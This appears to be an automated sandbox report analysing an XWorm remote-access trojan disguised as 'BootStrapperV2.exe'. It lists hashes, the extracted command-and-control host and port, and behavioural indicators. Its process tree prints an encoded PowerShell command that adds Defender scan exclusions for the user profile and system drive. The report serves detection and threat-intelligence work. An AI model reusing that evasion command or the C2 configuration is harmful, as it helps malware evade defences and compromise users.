Analysis
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max time kernel
149s -
max time network
146s -
platform
windows10-ltsc 2021_x64 -
resource
win10ltsc2021-20241023-en -
resource tags
arch:x64arch:x86image:win10ltsc2021-20241023-enlocale:en-usos:windows10-ltsc 2021-x64system -
submitted
03-11-2024 05:45
Static task
static1
Behavioral task
behavioral1
Sample
BootStrapperV2.exe
Resource
win10ltsc2021-20241023-en
General
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Target
BootStrapperV2.exe
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Size
70KB
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MD5
869eb8101675b446f5d0494013b676ac
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SHA1
bcf9b9deacbb90439ad920c565191e6d31dfa565
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SHA256
e26cdf6b5b88b2bc91127406361c7ffc32090b454f7081dcaf11b15ed7da002c
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SHA512
b551dcb11423e8b5ed54ac95052548d62b3d34c74b424c8a1320cb940425d0bca92bba501c1c82a3becf452df1a624b60a18a312537e0844e7ede7898acf5ad9
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SSDEEP
1536:P3XvLmMO78lkuciRlikj9Vkt+3ybDjkYb91XRlpfsW26J5SJX94Xx:P3DmM08vTikDkt+CIYb9Z2qSJX94B
Malware Config
Extracted
xworm
where-reverse.gl.at.ply.gg:18649
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Install_directory
%ProgramData%
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install_file
Helper.exe
Signatures
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Detect Xworm Payload 2 IoCs
resource yara_rule behavioral1/files/0x002a000000045102-7.dat family_xworm behavioral1/memory/3540-20-0x0000000000660000-0x0000000000676000-memory.dmp family_xworm -
Xworm family
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Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
description ioc Process Key value queried \REGISTRY\USER\S-1-5-21-3785588363-1079601362-4184885025-1000\Control Panel\International\Geo\Nation BootStrapperV2.exe -
Executes dropped EXE 1 IoCs
pid Process 3540 BootStrapper.exe -
Looks up external IP address via web service 1 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.
flow ioc 16 ip-api.com -
Obfuscated Files or Information: Command Obfuscation 1 TTPs
Adversaries may obfuscate content during command execution to impede detection.
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Drops file in Windows directory 1 IoCs
description ioc Process File created C:\Windows\BootStrapper.exe BootStrapperV2.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
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Checks SCSI registry key(s) 3 TTPs 3 IoCs
SCSI information is often read in order to detect sandboxing environments.
description ioc Process Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000 taskmgr.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Properties\{b725f130-47ef-101a-a5f1-02608c9eebac}\000A taskmgr.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\FriendlyName taskmgr.exe -
Suspicious behavior: EnumeratesProcesses 64 IoCs
pid Process 1212 powershell.exe 1212 powershell.exe 2392 taskmgr.exe 2392 taskmgr.exe 2392 taskmgr.exe 2392 taskmgr.exe 2392 taskmgr.exe 2392 taskmgr.exe 2392 taskmgr.exe 2392 taskmgr.exe 2392 taskmgr.exe 2392 taskmgr.exe 2392 taskmgr.exe 2392 taskmgr.exe 2392 taskmgr.exe 2392 taskmgr.exe 2392 taskmgr.exe 2392 taskmgr.exe 2392 taskmgr.exe 2392 taskmgr.exe 2392 taskmgr.exe 2392 taskmgr.exe 2392 taskmgr.exe 2392 taskmgr.exe 2392 taskmgr.exe 2392 taskmgr.exe 2392 taskmgr.exe 2392 taskmgr.exe 2392 taskmgr.exe 2392 taskmgr.exe 2392 taskmgr.exe 2392 taskmgr.exe 2392 taskmgr.exe 2392 taskmgr.exe 2392 taskmgr.exe 2392 taskmgr.exe 2392 taskmgr.exe 2392 taskmgr.exe 2392 taskmgr.exe 2392 taskmgr.exe 2392 taskmgr.exe 2392 taskmgr.exe 2392 taskmgr.exe 2392 taskmgr.exe 2392 taskmgr.exe 2392 taskmgr.exe 2392 taskmgr.exe 2392 taskmgr.exe 2392 taskmgr.exe 2392 taskmgr.exe 2392 taskmgr.exe 2392 taskmgr.exe 2392 taskmgr.exe 2392 taskmgr.exe 2392 taskmgr.exe 2392 taskmgr.exe 2392 taskmgr.exe 2392 taskmgr.exe 2392 taskmgr.exe 2392 taskmgr.exe 2392 taskmgr.exe 2392 taskmgr.exe 2392 taskmgr.exe 2392 taskmgr.exe -
Suspicious behavior: GetForegroundWindowSpam 1 IoCs
pid Process 2392 taskmgr.exe -
Suspicious use of AdjustPrivilegeToken 26 IoCs
description pid Process Token: SeDebugPrivilege 3540 BootStrapper.exe Token: SeDebugPrivilege 1212 powershell.exe Token: SeIncreaseQuotaPrivilege 1212 powershell.exe Token: SeSecurityPrivilege 1212 powershell.exe Token: SeTakeOwnershipPrivilege 1212 powershell.exe Token: SeLoadDriverPrivilege 1212 powershell.exe Token: SeSystemProfilePrivilege 1212 powershell.exe Token: SeSystemtimePrivilege 1212 powershell.exe Token: SeProfSingleProcessPrivilege 1212 powershell.exe Token: SeIncBasePriorityPrivilege 1212 powershell.exe Token: SeCreatePagefilePrivilege 1212 powershell.exe Token: SeBackupPrivilege 1212 powershell.exe Token: SeRestorePrivilege 1212 powershell.exe Token: SeShutdownPrivilege 1212 powershell.exe Token: SeDebugPrivilege 1212 powershell.exe Token: SeSystemEnvironmentPrivilege 1212 powershell.exe Token: SeRemoteShutdownPrivilege 1212 powershell.exe Token: SeUndockPrivilege 1212 powershell.exe Token: SeManageVolumePrivilege 1212 powershell.exe Token: 33 1212 powershell.exe Token: 34 1212 powershell.exe Token: 35 1212 powershell.exe Token: 36 1212 powershell.exe Token: SeDebugPrivilege 2392 taskmgr.exe Token: SeSystemProfilePrivilege 2392 taskmgr.exe Token: SeCreateGlobalPrivilege 2392 taskmgr.exe -
Suspicious use of FindShellTrayWindow 64 IoCs
pid Process 2392 taskmgr.exe 2392 taskmgr.exe 2392 taskmgr.exe 2392 taskmgr.exe 2392 taskmgr.exe 2392 taskmgr.exe 2392 taskmgr.exe 2392 taskmgr.exe 2392 taskmgr.exe 2392 taskmgr.exe 2392 taskmgr.exe 2392 taskmgr.exe 2392 taskmgr.exe 2392 taskmgr.exe 2392 taskmgr.exe 2392 taskmgr.exe 2392 taskmgr.exe 2392 taskmgr.exe 2392 taskmgr.exe 2392 taskmgr.exe 2392 taskmgr.exe 2392 taskmgr.exe 2392 taskmgr.exe 2392 taskmgr.exe 2392 taskmgr.exe 2392 taskmgr.exe 2392 taskmgr.exe 2392 taskmgr.exe 2392 taskmgr.exe 2392 taskmgr.exe 2392 taskmgr.exe 2392 taskmgr.exe 2392 taskmgr.exe 2392 taskmgr.exe 2392 taskmgr.exe 2392 taskmgr.exe 2392 taskmgr.exe 2392 taskmgr.exe 2392 taskmgr.exe 2392 taskmgr.exe 2392 taskmgr.exe 2392 taskmgr.exe 2392 taskmgr.exe 2392 taskmgr.exe 2392 taskmgr.exe 2392 taskmgr.exe 2392 taskmgr.exe 2392 taskmgr.exe 2392 taskmgr.exe 2392 taskmgr.exe 2392 taskmgr.exe 2392 taskmgr.exe 2392 taskmgr.exe 2392 taskmgr.exe 2392 taskmgr.exe 2392 taskmgr.exe 2392 taskmgr.exe 2392 taskmgr.exe 2392 taskmgr.exe 2392 taskmgr.exe 2392 taskmgr.exe 2392 taskmgr.exe 2392 taskmgr.exe 2392 taskmgr.exe -
Suspicious use of SendNotifyMessage 64 IoCs
pid Process 2392 taskmgr.exe 2392 taskmgr.exe 2392 taskmgr.exe 2392 taskmgr.exe 2392 taskmgr.exe 2392 taskmgr.exe 2392 taskmgr.exe 2392 taskmgr.exe 2392 taskmgr.exe 2392 taskmgr.exe 2392 taskmgr.exe 2392 taskmgr.exe 2392 taskmgr.exe 2392 taskmgr.exe 2392 taskmgr.exe 2392 taskmgr.exe 2392 taskmgr.exe 2392 taskmgr.exe 2392 taskmgr.exe 2392 taskmgr.exe 2392 taskmgr.exe 2392 taskmgr.exe 2392 taskmgr.exe 2392 taskmgr.exe 2392 taskmgr.exe 2392 taskmgr.exe 2392 taskmgr.exe 2392 taskmgr.exe 2392 taskmgr.exe 2392 taskmgr.exe 2392 taskmgr.exe 2392 taskmgr.exe 2392 taskmgr.exe 2392 taskmgr.exe 2392 taskmgr.exe 2392 taskmgr.exe 2392 taskmgr.exe 2392 taskmgr.exe 2392 taskmgr.exe 2392 taskmgr.exe 2392 taskmgr.exe 2392 taskmgr.exe 2392 taskmgr.exe 2392 taskmgr.exe 2392 taskmgr.exe 2392 taskmgr.exe 2392 taskmgr.exe 2392 taskmgr.exe 2392 taskmgr.exe 2392 taskmgr.exe 2392 taskmgr.exe 2392 taskmgr.exe 2392 taskmgr.exe 2392 taskmgr.exe 2392 taskmgr.exe 2392 taskmgr.exe 2392 taskmgr.exe 2392 taskmgr.exe 2392 taskmgr.exe 2392 taskmgr.exe 2392 taskmgr.exe 2392 taskmgr.exe 2392 taskmgr.exe 2392 taskmgr.exe -
Suspicious use of WriteProcessMemory 4 IoCs
description pid Process procid_target PID 1424 wrote to memory of 1212 1424 BootStrapperV2.exe 81 PID 1424 wrote to memory of 1212 1424 BootStrapperV2.exe 81 PID 1424 wrote to memory of 3540 1424 BootStrapperV2.exe 83 PID 1424 wrote to memory of 3540 1424 BootStrapperV2.exe 83
Processes
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C:\Users\Admin\AppData\Local\Temp\BootStrapperV2.exe"C:\Users\Admin\AppData\Local\Temp\BootStrapperV2.exe"1⤵
- Checks computer location settings
- Drops file in Windows directory
- Suspicious use of WriteProcessMemory
PID:1424 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGEAcwBqACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAGUAawBlACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAGUAdAB3ACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAGIAaQBxACMAPgA="2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1212
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C:\Windows\BootStrapper.exe"C:\Windows\BootStrapper.exe"2⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:3540
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C:\Windows\system32\taskmgr.exe"C:\Windows\system32\taskmgr.exe" /41⤵
- Checks SCSI registry key(s)
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: GetForegroundWindowSpam
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
PID:2392
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
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Downloads
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Filesize
60B
MD5d17fe0a3f47be24a6453e9ef58c94641
SHA16ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA25696ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA5125b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
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Filesize
63KB
MD5c0fd9d3438390b8805ee4c259f2e4515
SHA1d00f9e027be92d9df954818e69605a65c72d3e67
SHA2565cc211a9596ae27be5cf99949a2dc7c1953140569c83848dd5628a1799479c2f
SHA5121603fbf5409a0b5037573570f0ebeaa90be38953166535e3ab51d96760577011d64bd7aeb3798f805daca971cca67b141b00b215504589f5c8ddcf112fe7c38f